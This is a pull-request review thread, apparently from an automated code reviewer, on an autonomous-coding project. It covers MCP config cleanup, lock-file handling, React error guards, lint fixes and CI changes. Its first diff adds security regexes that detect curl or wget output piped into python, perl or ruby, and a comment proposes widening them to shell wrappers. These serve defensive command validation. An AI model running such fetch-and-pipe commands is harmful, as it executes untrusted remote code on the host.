+ (re.compile(rf'wget\s+[^|]*\|\s*{PYTHON_INTERPRETER_RE}', re.IGNORECASE), "wget piped to python"),
+ (re.compile(rf'curl\s+[^|]*\|\s*{PERL_INTERPRETER_RE}', re.IGNORECASE), "curl piped to perl"),
+ (re.compile(rf'wget\s+[^|]*\|\s*{PERL_INTERPRETER_RE}', re.IGNORECASE), "wget piped to perl"),
+ (re.compile(rf'curl\s+[^|]*\|\s*{RUBY_INTERPRETER_RE}', re.IGNORECASE), "curl piped to ruby"),
+ (re.compile(rf'wget\s+[^|]*\|\s*{RUBY_INTERPRETER_RE}', re.IGNORECASE), "wget piped to ruby"),🤖 Prompt for AI Agents
In `@security.py` around lines 37 - 79, The pre-validation misses wrappers like
/bin/sh or env bash because DANGEROUS_SHELL_PATTERNS only matches bare tokens;
update the patterns in DANGEROUS_SHELL_PATTERNS (and related descriptions) so
the regexes detect optional absolute/relative paths and optional env wrappers
and flags (e.g., match pipe followed by optional "env ...", optional path like
"/bin/sh" or "./sh", or any path ending with sh|bash|python|perl|ruby). Modify
the existing entries used by pre_validate_command_safety to use a single more
robust regex per interpreter (e.g., detect
r'\|\s*(?:env\b[^|]*\s+)?(?:[\w/.-]*\/)?(?:ba)?sh\b' and analogous patterns for
python/perl/ruby) and update the human-readable description strings accordingly.
Comment on lines
+250
to
+271
| # Note: We write to a JSON file because the SDK/CLI handles file paths | ||
| # more reliably than dict objects for MCP config | ||
| mcp_config = { | ||
| "mcpServers": { | ||
| "features": { | ||
| "command": sys.executable, | ||
| "args": ["-m", "mcp_server.feature_mcp"], | ||
| "env": { | ||
| # Only specify variables the MCP server needs | ||
| "PROJECT_DIR": str(self.project_dir.resolve()), | ||
| "PYTHONPATH": str(ROOT_DIR.resolve()), | ||
| }, | ||
| }, | ||
| }, | ||
| } | ||
| mcp_config_file = self.project_dir / ".claude_mcp_config.json" | ||
| with open(mcp_config_file, "w") as f: | ||
| json.dump(mcp_config, f, indent=2) | ||
| logger.info(f"Wrote MCP config to {mcp_config_file}") | ||
|
|
||
| # Use file path for mcp_servers - more reliable than dict | ||
| mcp_servers = str(mcp_config_file) |
There was a problem hiding this comment.
MCP config file created but never cleaned up.
The MCP config file (.claude_mcp_config.json) is created during start() but is not tracked or cleaned up in close(). This is inconsistent with expand_chat_session.py which properly tracks _mcp_config_file and removes it during cleanup. The file contains environment paths (PROJECT_DIR, PYTHONPATH) that should be cleaned up when the session ends.
🔧 Proposed fix: Track and clean up MCP config file
Add attribute in __init__:
self._history_loaded: bool = False # Track if we've loaded history for resumed conversations
+ self._mcp_config_file: Optional[Path] = NoneTrack the file when created (around line 265):
mcp_config_file = self.project_dir / ".claude_mcp_config.json"
+ self._mcp_config_file = mcp_config_file
with open(mcp_config_file, "w") as f:Add cleanup in close() method after client cleanup:
self._client_entered = False
self.client = None
+
+ # Clean up MCP config file
+ if self._mcp_config_file and self._mcp_config_file.exists():
+ try:
+ self._mcp_config_file.unlink()
+ except Exception as e:
+ logger.warning(f"Error removing MCP config file: {e}")🤖 Prompt for AI Agents
In `@server/services/assistant_chat_session.py` around lines 250 - 271, The MCP
config JSON created in start() is not tracked or removed on shutdown; add an
instance attribute (e.g., self._mcp_config_file) in __init__ and assign it when
you create mcp_config_file in start() (replace the local mcp_config_file
variable with the attribute), then update close() to delete that file if it
exists after client cleanup (use pathlib.unlink or os.remove with exists check).
Reference the start() and close() methods and the new self._mcp_config_file
attribute to mirror expand_chat_session.py's behavior so the temporary file
containing PROJECT_DIR/PYTHONPATH is always cleaned up.
Comment on lines
+229
to
+288
| def _ensure_lock_removed(self) -> None: | ||
| """ | ||
| Ensure lock file is removed, with verification. | ||
|
|
||
| This is a more robust version of _remove_lock that: | ||
| 1. Verifies the lock file content matches our process | ||
| 2. Removes the lock even if it's stale | ||
| 3. Handles edge cases like zombie processes | ||
|
|
||
| Should be called from multiple cleanup points to ensure | ||
| the lock is removed even if the primary cleanup path fails. | ||
| """ | ||
| if not self.lock_file.exists(): | ||
| return | ||
|
|
||
| try: | ||
| # Read lock file to verify it's ours | ||
| lock_content = self.lock_file.read_text().strip() | ||
|
|
||
| # Check if we own this lock | ||
| our_pid = self.pid | ||
| if our_pid is None: | ||
| # We don't have a running process, but lock exists | ||
| # This is unexpected - remove it anyway | ||
| self.lock_file.unlink(missing_ok=True) | ||
| logger.debug("Removed orphaned lock file (no running process)") | ||
| return | ||
|
|
||
| # Parse lock content | ||
| if ":" in lock_content: | ||
| lock_pid_str, _ = lock_content.split(":", 1) | ||
| lock_pid = int(lock_pid_str) | ||
| else: | ||
| lock_pid = int(lock_content) | ||
|
|
||
| # If lock PID matches our process, remove it | ||
| if lock_pid == our_pid: | ||
| self.lock_file.unlink(missing_ok=True) | ||
| logger.debug(f"Removed lock file for our process (PID {our_pid})") | ||
| else: | ||
| # Lock belongs to different process - only remove if that process is dead | ||
| if not psutil.pid_exists(lock_pid): | ||
| self.lock_file.unlink(missing_ok=True) | ||
| logger.debug(f"Removed stale lock file (PID {lock_pid} no longer exists)") | ||
| else: | ||
| try: | ||
| proc = psutil.Process(lock_pid) | ||
| cmdline = " ".join(proc.cmdline()) | ||
| if "autonomous_agent_demo.py" not in cmdline: | ||
| # Process exists but it's not our agent | ||
| self.lock_file.unlink(missing_ok=True) | ||
| logger.debug(f"Removed stale lock file (PID {lock_pid} is not an agent)") | ||
| except (psutil.NoSuchProcess, psutil.AccessDenied): | ||
| # Process gone or inaccessible - safe to remove | ||
| self.lock_file.unlink(missing_ok=True) | ||
|
|
||
| except (ValueError, OSError) as e: | ||
| # Invalid lock file - remove it | ||
| logger.warning(f"Removing invalid lock file: {e}") | ||
| self.lock_file.unlink(missing_ok=True) |
There was a problem hiding this comment.
Fix stale-lock detection when manager has no process
If self.pid is None, the method unlinks the lock without verifying whether the lock points to a still-running agent (e.g., after a server restart). This can clear a valid lock and allow concurrent agents for the same project. Also, the PID:CREATE_TIME format is parsed but the creation time is ignored, so PID reuse can leave stale locks around.
🔧 Proposed fix
- # Check if we own this lock
- our_pid = self.pid
- if our_pid is None:
- # We don't have a running process, but lock exists
- # This is unexpected - remove it anyway
- self.lock_file.unlink(missing_ok=True)
- logger.debug("Removed orphaned lock file (no running process)")
- return
-
- # Parse lock content
- if ":" in lock_content:
- lock_pid_str, _ = lock_content.split(":", 1)
- lock_pid = int(lock_pid_str)
- else:
- lock_pid = int(lock_content)
+ # Check if we own this lock
+ our_pid = self.pid
+
+ # Parse lock content (support PID:CREATE_TIME)
+ if ":" in lock_content:
+ lock_pid_str, create_time_str = lock_content.split(":", 1)
+ lock_pid = int(lock_pid_str)
+ stored_create_time = float(create_time_str)
+ else:
+ lock_pid = int(lock_content)
+ stored_create_time = None
@@
- if lock_pid == our_pid:
+ if our_pid is not None and lock_pid == our_pid:
self.lock_file.unlink(missing_ok=True)
logger.debug(f"Removed lock file for our process (PID {our_pid})")
else:
- # Lock belongs to different process - only remove if that process is dead
- if not psutil.pid_exists(lock_pid):
- self.lock_file.unlink(missing_ok=True)
- logger.debug(f"Removed stale lock file (PID {lock_pid} no longer exists)")
- else:
- try:
- proc = psutil.Process(lock_pid)
- cmdline = " ".join(proc.cmdline())
- if "autonomous_agent_demo.py" not in cmdline:
- # Process exists but it's not our agent
- self.lock_file.unlink(missing_ok=True)
- logger.debug(f"Removed stale lock file (PID {lock_pid} is not an agent)")
- except (psutil.NoSuchProcess, psutil.AccessDenied):
- # Process gone or inaccessible - safe to remove
- self.lock_file.unlink(missing_ok=True)
+ # Only remove if the lock is stale
+ if not psutil.pid_exists(lock_pid):
+ self.lock_file.unlink(missing_ok=True)
+ logger.debug(f"Removed stale lock file (PID {lock_pid} no longer exists)")
+ return
+ try:
+ proc = psutil.Process(lock_pid)
+ if stored_create_time is not None:
+ if abs(proc.create_time() - stored_create_time) > 1.0:
+ self.lock_file.unlink(missing_ok=True)
+ logger.debug(f"Removed stale lock file (PID {lock_pid} reused)")
+ return
+ cmdline = " ".join(proc.cmdline())
+ if "autonomous_agent_demo.py" not in cmdline:
+ # Process exists but it's not our agent
+ self.lock_file.unlink(missing_ok=True)
+ logger.debug(f"Removed stale lock file (PID {lock_pid} is not an agent)")
+ return
+ except (psutil.NoSuchProcess, psutil.AccessDenied):
+ # Process gone or inaccessible - safe to remove
+ self.lock_file.unlink(missing_ok=True)🤖 Prompt for AI Agents
In `@server/services/process_manager.py` around lines 229 - 288, The
_ensure_lock_removed method currently unlinks the lock immediately when self.pid
is None and ignores the timestamp part of "PID:CREATE_TIME", which can clear a
valid lock after a restart; update _ensure_lock_removed to (1) still parse the
lock file when self.pid is None, extracting lock_pid and optional
lock_create_time, (2) if lock_pid exists use psutil to check if the process is
running and, if running, compare proc.create_time() to the parsed
lock_create_time (use a tolerance for float equality) to decide whether the lock
belongs to the same process — only remove it if the PID doesn't exist, the
create times differ, or the running process is not our agent (inspect
proc.cmdline() for "autonomous_agent_demo.py"); (3) when parsing
"PID:CREATE_TIME" handle ValueError robustly and treat missing/invalid
timestamps as stale only after verifying pid liveness; keep existing exception
handling and the logger messages in _ensure_lock_removed.
Comment on lines
+52
to
+67
| const { data: conversationDetail, isLoading: isLoadingConversation, error: conversationError } = useConversation( | ||
| projectName, | ||
| conversationId | ||
| ) | ||
|
|
||
| // Clear stored conversation ID if it no longer exists (404 error) | ||
| useEffect(() => { | ||
| if (conversationError && conversationId) { | ||
| const message = conversationError.message.toLowerCase() | ||
| // Only clear for 404 errors, not transient network issues | ||
| if (message.includes('not found') || message.includes('404')) { | ||
| console.warn(`Conversation ${conversationId} not found, clearing stored ID`) | ||
| setConversationId(null) | ||
| } | ||
| } | ||
| }, [conversationError, conversationId]) |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Find the useConversation hook
rg -n "useConversation" ui/src --type ts --type tsx -A 3 | head -50Repository: leonvanzyl/autocoder
Length of output: 91
🏁 Script executed:
#!/bin/bash
# Find where useConversation is defined
fd -e ts -e tsx ui/src | xargs rg "export.*useConversation|const useConversation|function useConversation" | head -20Repository: leonvanzyl/autocoder
Length of output: 632
🏁 Script executed:
#!/bin/bash
# Search for getAssistantConversation to understand error types
rg -n "getAssistantConversation" ui/src -g '*.ts' -g '*.tsx' -B 2 -A 10 | head -80Repository: leonvanzyl/autocoder
Length of output: 1693
🏁 Script executed:
rg -n "function fetchJSON|export.*fetchJSON" ui/src/lib -A 20Repository: leonvanzyl/autocoder
Length of output: 1050
🏁 Script executed:
rg -n "catch\|throw" ui/src/lib/api.ts | head -30Repository: leonvanzyl/autocoder
Length of output: 46
🏁 Script executed:
cat -n ui/src/hooks/useConversations.ts | head -50Repository: leonvanzyl/autocoder
Length of output: 1932
🏁 Script executed:
rg -n "conversationError|conversationDetail" ui/src/components/AssistantPanel.tsx -B 2 -A 2 | head -30Repository: leonvanzyl/autocoder
Length of output: 933
🏁 Script executed:
cat -n ui/src/components/AssistantPanel.tsx | sed -n '52,75p'Repository: leonvanzyl/autocoder
Length of output: 1209
🏁 Script executed:
rg -n "UseQueryResult|error.*unknown|conversationError" ui/src/components/AssistantPanel.tsx -B 2 -A 2Repository: leonvanzyl/autocoder
Length of output: 782
🏁 Script executed:
cat -n ui/src/components/AssistantPanel.tsx | sed -n '1,20p'Repository: leonvanzyl/autocoder
Length of output: 762
🏁 Script executed:
rg -n "import.*useConversation|from.*hooks" ui/src/components/AssistantPanel.tsx | head -10Repository: leonvanzyl/autocoder
Length of output: 126
🏁 Script executed:
cat ui/src/package.json | grep -A 5 "@tanstack/react-query"Repository: leonvanzyl/autocoder
Length of output: 115
🏁 Script executed:
find . -name "package.json" -type f | head -3Repository: leonvanzyl/autocoder
Length of output: 81
🏁 Script executed:
cat package.json | grep -A 2 "@tanstack/react-query"Repository: leonvanzyl/autocoder
Length of output: 108
🏁 Script executed:
cat ui/package.json | grep -A 2 "@tanstack/react-query"Repository: leonvanzyl/autocoder
Length of output: 179
🏁 Script executed:
rg -n "UseQueryResult|error\?" ui/src/hooks/useConversations.tsRepository: leonvanzyl/autocoder
Length of output: 46
🏁 Script executed:
python3 << 'EOF'
import json
with open('ui/package.json', 'r') as f:
pkg = json.load(f)
tq_version = pkg.get('dependencies', {}).get('@tanstack/react-query', 'unknown')
print(f"TanStack Query version: {tq_version}")
EOFRepository: leonvanzyl/autocoder
Length of output: 150
🏁 Script executed:
rg -n "error.*unknown|error\:" ui/src/hooks/useConversations.ts -A 1Repository: leonvanzyl/autocoder
Length of output: 172
🏁 Script executed:
rg -n "error" ui/src/hooks/useConversations.tsRepository: leonvanzyl/autocoder
Length of output: 330
🏁 Script executed:
rg -n "unknown" ui/src/hooks/useConversations.tsRepository: leonvanzyl/autocoder
Length of output: 46
Guard conversationError before calling .message.toLowerCase().
While fetchJSON always throws Error instances, React Query types the error as unknown. The hook already guards this in its retry logic; apply the same pattern here for consistency and type safety.
useEffect(() => {
- if (conversationError && conversationId) {
- const message = conversationError.message.toLowerCase()
+ if (conversationId && conversationError instanceof Error) {
+ const message = conversationError.message.toLowerCase()
// Only clear for 404 errors, not transient network issues
if (message.includes('not found') || message.includes('404')) {
console.warn(`Conversation ${conversationId} not found, clearing stored ID`)
setConversationId(null)
}
}
}, [conversationError, conversationId])🤖 Prompt for AI Agents
In `@ui/src/components/AssistantPanel.tsx` around lines 52 - 67, The code calls
conversationError.message.toLowerCase() without guarding that conversationError
is an Error (React Query types error as unknown); update the useEffect that
references conversationError and conversationId to first check conversationError
is an Error (e.g., if (conversationError instanceof Error) { const message =
conversationError.message.toLowerCase(); ... }) before calling
.message.toLowerCase(), and only call setConversationId(null) when that guarded
message includes 'not found' or '404'; keep references to conversationError,
conversationId, useEffect, and setConversationId when locating the change.
- Add missing shadcn/ui dependencies (class-variance-authority, tailwind-merge, radix-ui packages, @types/node) - Fix implicit 'any' types in event handlers (ConversationHistory, DebugLogViewer, ProjectSelector, ScheduleModal) - Use ReturnType<typeof setTimeout> instead of NodeJS.Timeout (ThemeSelector) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Feature Tracking: - Add FeatureAttempt and FeatureError models for debugging - Add MCP tools: feature_start_attempt, feature_end_attempt, feature_get_attempts - Add MCP tools: feature_log_error, feature_get_errors, feature_resolve_error - Track completed_at and last_failed_at timestamps on features Code Organization: - Extract models to api/models.py - Add api/config.py for centralized configuration - Add api/logging_config.py for consistent logging setup - Add api/migrations.py for database migrations - Add api/agent_types.py for type definitions Test Infrastructure: - Move tests to tests/ directory - Add tests/conftest.py with shared fixtures - Add tests/test_repository_and_config.py - Add tests/test_async_examples.py Improvements: - Add logging throughout agent.py for better error tracking - Add session events for webhook notifications - Update prompts with clearer instructions - Add input validation to server routers Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Fixed W293 errors flagged by ruff linter. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Test file was moved from test_security.py to tests/test_security.py. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
There was a problem hiding this comment.
Actionable comments posted: 10
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
server/main.py (1)
29-101: Add SlowAPI middleware to enforce global rate limits.The
default_limitsconfiguration requiresSlowAPIMiddlewareto be added to the app for enforcement. Without it, global rate limiting won't apply unless every route is explicitly decorated with@limiter.limit().🛠️ Proposed fix
from slowapi import Limiter, _rate_limit_exceeded_handler from slowapi.errors import RateLimitExceeded from slowapi.util import get_remote_address +from slowapi.middleware import SlowAPIMiddleware from .routers import (# Add rate limiter state and exception handler app.state.limiter = limiter app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler) +app.add_middleware(SlowAPIMiddleware)server/utils/validation.py (1)
5-8: Fix import-order lint (I001) to unblock CI.
CI is failing due to import block formatting; please re-run the formatter / isort configuration for this file.
🤖 Fix all issues with AI agents
In @.claude/templates/coding_prompt.template.md:
- Around line 23-26: The fenced code block containing the lines "# 4. Get
progress statistics" and "Use the feature_get_stats tool" is missing a language
specifier; update that triple-backtick block to include a language (e.g., text
or markdown) so the block becomes ```text ... ``` to satisfy markdown linting
rules, leaving the content unchanged.
In `@api/agent_types.py`:
- Around line 12-21: The docstring for the AgentType definition contains
trailing blank-line whitespace causing W293; open the AgentType docstring in
agent_types.py (the multiline string at the top describing "Types of agents...")
and remove the trailing blank line/whitespace at the end of the docstring so no
lines end with extraneous spaces or an empty whitespace-only line remains.
In `@api/config.py`:
- Around line 15-109: The class docstring in AutocoderConfig contains a trailing
blank-line whitespace causing W293; open the AutocoderConfig class and edit the
triple-quoted docstring (the top-level docstring inside class AutocoderConfig)
to remove the trailing blank line and any trailing spaces so the closing triple
quotes immediately follow the last sentence; save the file and run lint to
confirm W293 is resolved.
In `@mcp_server/feature_mcp.py`:
- Around line 848-852: The scheduling score computation is using incomplete
feature dicts for passing features (you build all_dicts from candidates then
extend with {"id": pid}), which omits the dependencies needed by
compute_scheduling_scores; update the code so that all_dicts contains full
feature dicts for each id in passing_ids (include at least the dependencies
field) by looking up the full feature objects (e.g., from the same source used
to build candidates) and calling to_dict() for them, or if passing features must
not influence candidate prioritization, skip extending all_dicts with
passing_ids entirely before calling compute_scheduling_scores; ensure the change
is applied around the variables all_dicts, candidates, passing_ids and the
compute_scheduling_scores call so ready.sort receives scores computed from
complete graph data.
In `@server/routers/assistant_chat.py`:
- Line 30: Remove the now-unused re import from the top of assistant_chat.py to
satisfy CI F401: locate the import block that currently includes "re" alongside
"is_valid_project_name" and delete the "re" import (ensure functions like
is_valid_project_name and any other used symbols remain imported unchanged).
In `@server/routers/projects.py`:
- Line 24: The router imports a non-existent symbol validate_project_name
causing ImportError; replace that import with the actual exported function
is_valid_project_name and update any call sites in this module that invoke
validate_project_name to call is_valid_project_name instead so the router can
import successfully at startup.
In `@tests/conftest.py`:
- Line 9: Remove the unused import by deleting the "import os" statement in
tests/conftest.py; ensure no other code in this file references os and run
tests/linters to confirm the unused-import warning is resolved.
In `@tests/test_async_examples.py`:
- Around line 9-10: The import block in tests/test_async_examples.py is not
sorted; reorder imports alphabetically (standard library first) so "from pathlib
import Path" appears before "import pytest" (or follow your project's import
sorting rules), update the file to have imports in the correct order, and re-run
your formatter/isort (or black) to ensure CI passes; locate and change the
top-level import statements in tests/test_async_examples.py accordingly.
- Around line 133-137: The test calls bash_security_hook with input missing the
required "tool_name" key so the hook short-circuits; update the test invocation
in tests/test_async_examples.py to include "tool_name": "Bash" in the input dict
(i.e., call bash_security_hook({"tool_name": "Bash", "command": "npm install"},
context=...)) so the hook proceeds to perform the security validation with the
provided project_dir context.
In `@tests/test_repository_and_config.py`:
- Line 8: Remove the unused top-level import "pytest" from the test file (the
import statement referencing the symbol pytest) since pytest fixtures are
injected automatically; delete the import line and ensure there are no remaining
references to the pytest symbol in this module, then run the test/lint suite to
confirm the unused-import warning is resolved.
🧹 Nitpick comments (7)
client.py (1)
78-84: Inconsistent logging:print()should belogger.warning().This function still uses
print()for invalid input warnings, while the equivalent case inget_playwright_headless()(line 61) useslogger.warning(). For consistency with the logging migration in this PR, this should also use the logger.Suggested fix
def get_playwright_browser() -> str: """ Get the browser to use for Playwright. Reads from PLAYWRIGHT_BROWSER environment variable, defaults to firefox. Options: chrome, firefox, webkit, msedge Firefox is recommended for lower CPU usage. """ value = os.getenv("PLAYWRIGHT_BROWSER", DEFAULT_PLAYWRIGHT_BROWSER).strip().lower() if value not in VALID_PLAYWRIGHT_BROWSERS: - print(f" - Warning: Invalid PLAYWRIGHT_BROWSER='{value}', " - f"valid options: {', '.join(sorted(VALID_PLAYWRIGHT_BROWSERS))}. " - f"Defaulting to {DEFAULT_PLAYWRIGHT_BROWSER}") + logger.warning( + f"Invalid PLAYWRIGHT_BROWSER='{value}', " + f"valid options: {', '.join(sorted(VALID_PLAYWRIGHT_BROWSERS))}. " + f"Defaulting to {DEFAULT_PLAYWRIGHT_BROWSER}" + ) return DEFAULT_PLAYWRIGHT_BROWSER return value.claude/templates/testing_prompt.template.md (1)
24-27: Add language specifier to fenced code block.The code block is missing a language identifier, which affects syntax highlighting and accessibility tooling.
Suggested fix
-``` +```text # 4. Get progress statistics Use the feature_get_stats tool</details> </blockquote></details> <details> <summary>api/models.py (1)</summary><blockquote> `28-30`: **Minor duplication of `_utc_now` helper.** This helper is also defined in `mcp_server/feature_mcp.py`. Consider extracting to a shared utility module if more files need it. Acceptable as-is for module isolation. </blockquote></details> <details> <summary>tests/conftest.py (1)</summary><blockquote> `130-145`: **Specify the yielded type in `AsyncGenerator` return annotation.** The return type annotation `AsyncGenerator` should specify what type is being yielded for better type safety and IDE support. <details> <summary>Proposed fix</summary> ```diff `@pytest.fixture` -async def async_client(test_app) -> AsyncGenerator: +async def async_client(test_app) -> AsyncGenerator[AsyncClient, None]: """Create an async HTTP client for testing FastAPI endpoints.You'll also need to import
AsyncClientat the top of the function or move the import to the top-level imports.api/logging_config.py (1)
80-81: Consider checking for existing handlers before clearing.Calling
root_logger.handlers.clear()removes all existing handlers, which could interfere with logging configured by other parts of the application or third-party libraries that run before this setup. The_logging_configuredguard helps, but if logging was partially configured elsewhere, this could cause issues.If this is intentional (full control over logging), document that
setup_loggingshould be called first at application startup before any other logging configuration.mcp_server/feature_mcp.py (1)
45-50: Move function definition after all imports.The
_utc_now()function is defined between import statements, which is unconventional and can cause confusion. Move it after all imports for better code organization.Proposed fix
Move lines 46-48 to after line 62 (after all imports are complete).
server/routers/filesystem.py (1)
458-468: Consider normalizing directory name increate_directory.For consistency with the security hardening applied elsewhere, consider normalizing
request.nameusingnormalize_name()before validation and directory creation. This would prevent Unicode-based bypasses of the special character checks.Proposed fix
# Validate directory name - name = request.name.strip() + name = normalize_name(request.name.strip()) if not name: raise HTTPException(status_code=400, detail="Directory name cannot be empty")
Comment on lines
23
to
26
| ``` | ||
| # 6. Get progress statistics (passing/total counts) | ||
| # 4. Get progress statistics | ||
| Use the feature_get_stats tool | ||
| ``` |
There was a problem hiding this comment.
Fix markdown linting issue: add language specifier to fenced code block.
The fenced code block is missing a language identifier, which violates markdown linting rules. Since this block contains instructional comments rather than executable code, consider using text or markdown as the language specifier.
📝 Proposed fix
-```
+```text
# 4. Get progress statistics
Use the feature_get_stats tool
</details>
<!-- suggestion_start -->
<details>
<summary>📝 Committable suggestion</summary>
> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
```suggestion
🧰 Tools
🪛 markdownlint-cli2 (0.18.1)
23-23: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents
In @.claude/templates/coding_prompt.template.md around lines 23 - 26, The fenced
code block containing the lines "# 4. Get progress statistics" and "Use the
feature_get_stats tool" is missing a language specifier; update that
triple-backtick block to include a language (e.g., text or markdown) so the
block becomes ```text ... ``` to satisfy markdown linting rules, leaving the
content unchanged.
Comment on lines
+848
to
852
| # Need all features for scoring computation | ||
| all_dicts = [f.to_dict() for f in candidates] | ||
| all_dicts.extend([{"id": pid} for pid in passing_ids]) | ||
| scores = compute_scheduling_scores(all_dicts) | ||
| ready.sort(key=lambda f: (-scores.get(f["id"], 0), f["priority"], f["id"])) |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Find compute_scheduling_scores definition
ast-grep --pattern 'def compute_scheduling_scores($$$)'Repository: leonvanzyl/autocoder
Length of output: 5200
🏁 Script executed:
#!/bin/bash
# Also search with rg for the function definition
rg -n 'def compute_scheduling_scores' --type pyRepository: leonvanzyl/autocoder
Length of output: 167
🏁 Script executed:
#!/bin/bash
# Look at the usage context in the file under review
rg -B 5 -A 10 'compute_scheduling_scores' mcp_server/feature_mcp.pyRepository: leonvanzyl/autocoder
Length of output: 1148
Incomplete feature dicts affect scheduling score computation accuracy.
Passing features are added to all_dicts with only {"id": pid}, missing the dependencies field required for accurate graph analysis. While compute_scheduling_scores handles missing fields with defaults (treating absent dependencies as empty), this causes passing features to not be included in the dependency graph. This incomplete graph structure leads to incorrect depth and unblocking calculations for candidate features, producing inaccurate scheduling scores.
Include full feature dicts for passing features or exclude them from the scoring computation if they should not influence candidate prioritization.
🤖 Prompt for AI Agents
In `@mcp_server/feature_mcp.py` around lines 848 - 852, The scheduling score
computation is using incomplete feature dicts for passing features (you build
all_dicts from candidates then extend with {"id": pid}), which omits the
dependencies needed by compute_scheduling_scores; update the code so that
all_dicts contains full feature dicts for each id in passing_ids (include at
least the dependencies field) by looking up the full feature objects (e.g., from
the same source used to build candidates) and calling to_dict() for them, or if
passing features must not influence candidate prioritization, skip extending
all_dicts with passing_ids entirely before calling compute_scheduling_scores;
ensure the change is applied around the variables all_dicts, candidates,
passing_ids and the compute_scheduling_scores call so ready.sort receives scores
computed from complete graph data.
| ProjectStats, | ||
| ProjectSummary, | ||
| ) | ||
| from ..utils.validation import validate_project_name |
There was a problem hiding this comment.
Fix invalid validation import to avoid ImportError at startup.
server/utils/validation.py exposes is_valid_project_name, so importing validate_project_name will fail and prevent router import.
✅ Suggested fix (keeps existing call sites)
-from ..utils.validation import validate_project_name
+from ..utils.validation import is_valid_project_name
+
+def validate_project_name(name: str) -> str:
+ if not is_valid_project_name(name):
+ raise HTTPException(status_code=400, detail="Invalid project name")
+ return name🤖 Prompt for AI Agents
In `@server/routers/projects.py` at line 24, The router imports a non-existent
symbol validate_project_name causing ImportError; replace that import with the
actual exported function is_valid_project_name and update any call sites in this
module that invoke validate_project_name to call is_valid_project_name instead
so the router can import successfully at startup.
tests/test_async_examples.py
Outdated
Comment on lines
9
to
10
| import pytest | ||
| from pathlib import Path |
There was a problem hiding this comment.
Fix import sorting as flagged by CI.
The pipeline reports the import block is un-sorted or un-formatted.
Proposed fix
-import pytest
from pathlib import Path
+
+import pytest📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| import pytest | |
| from pathlib import Path | |
| from pathlib import Path | |
| import pytest |
🧰 Tools
🪛 GitHub Actions: CI
[error] 9-9: I001 Import block is un-sorted or un-formatted
🤖 Prompt for AI Agents
In `@tests/test_async_examples.py` around lines 9 - 10, The import block in
tests/test_async_examples.py is not sorted; reorder imports alphabetically
(standard library first) so "from pathlib import Path" appears before "import
pytest" (or follow your project's import sorting rules), update the file to have
imports in the correct order, and re-run your formatter/isort (or black) to
ensure CI passes; locate and change the top-level import statements in
tests/test_async_examples.py accordingly.
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Fix all issues with AI agents
In @.github/workflows/ci.yml:
- Around line 21-22: Update the "Run security tests" step so the run command
executes both the unit security test and the integration security suite: replace
the current run command "python -m pytest tests/test_security.py -v" with a
command that runs both paths (for example: "python -m pytest
tests/test_security.py tests/integration -v" or list the integration module
explicitly like "python -m pytest tests/test_security.py
tests/integration/test_security_integration.py -v") so CI runs unit and
integration security checks.
In `@parallel_orchestrator.py`:
- Around line 598-604: The current map running_testing_agents keyed by
feature_id allows later agents to overwrite earlier ones; change the registry to
use a unique agent key (e.g., proc.pid or a generated UUID/counter) as the dict
key and store a record/object/value mapping that includes both feature_id and
proc (e.g., {"feature_id": feature_id, "proc": proc}) so multiple agents testing
the same feature co-exist; update the registration block that currently uses
placeholder_key/feature_id to remove the placeholder by its agent key and then
insert the new unique agent key, and update cleanup logic in stop_all() to skip
placeholder entries and iterate values to terminate each stored proc; apply the
same pattern to the other similar blocks referenced (the ones around the other
two ranges) so all registrations and removals use the unique agent key and
stored tuple/object rather than feature_id as key.
🧹 Nitpick comments (1)
api/config.py (1)
119-126: Broaden Ollama detection to cover loopback hosts.Current check only matches
"localhost". If users configurehttp://127.0.0.1:11434, this returns False even though it’s Ollama. Consider parsing the hostname and matching common loopback addresses.♻️ Suggested tweak
+from urllib.parse import urlparse @@ def is_using_ollama(self) -> bool: """Check if using Ollama local models.""" - return ( - self.anthropic_base_url is not None and - "localhost" in self.anthropic_base_url and - self.anthropic_auth_token == "ollama" - ) + if not self.anthropic_base_url or self.anthropic_auth_token != "ollama": + return False + host = urlparse(self.anthropic_base_url).hostname or "" + return host in {"localhost", "127.0.0.1", "::1"}
1. CI: Run both security tests (unit + integration) 2. config.py: Broaden Ollama detection to cover 127.0.0.1 and ::1 3. parallel_orchestrator.py: Use pid as key for testing agents - Prevents collisions when multiple agents test the same feature - Stores (feature_id, proc) tuple as value - Updates cleanup and stop_all() to handle new structure Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
getworken
pushed a commit
to getworken/autocoder
that referenced
this pull request
Jan 27, 2026
getworken
pushed a commit
to getworken/autocoder
that referenced
this pull request
Jan 27, 2026
SUMMARY:
Fixed TypeScript build error in ProjectSetupRequired.tsx where startAgent
was being called with a boolean instead of an options object.
DETAILS:
- The startAgent API function signature was updated (in previous PR merges)
to accept an options object: { yoloMode?, parallelMode?, maxConcurrency?, testingAgentRatio? }
- ProjectSetupRequired.tsx was still calling it with the old signature:
startAgent(projectName, yoloMode) - passing boolean directly
- Changed to: startAgent(projectName, { yoloMode }) - wrapping in options object
This was the only remaining build error after merging 13+ PRs from upstream:
- PR leonvanzyl#112: Security vulnerabilities and race conditions
- PR leonvanzyl#89: Windows subprocess blocking fix
- PR leonvanzyl#109: Rate limit handling with exponential backoff
- PR leonvanzyl#88: MCP server config for ExpandChatSession
- PR leonvanzyl#100: Diagnostic warnings for config loading
- PR leonvanzyl#110: Quality gates (quality_gates.py)
- PR leonvanzyl#113: Structured logging (structured_logging.py)
- PR leonvanzyl#48: Knowledge files support (API, schemas, prompts)
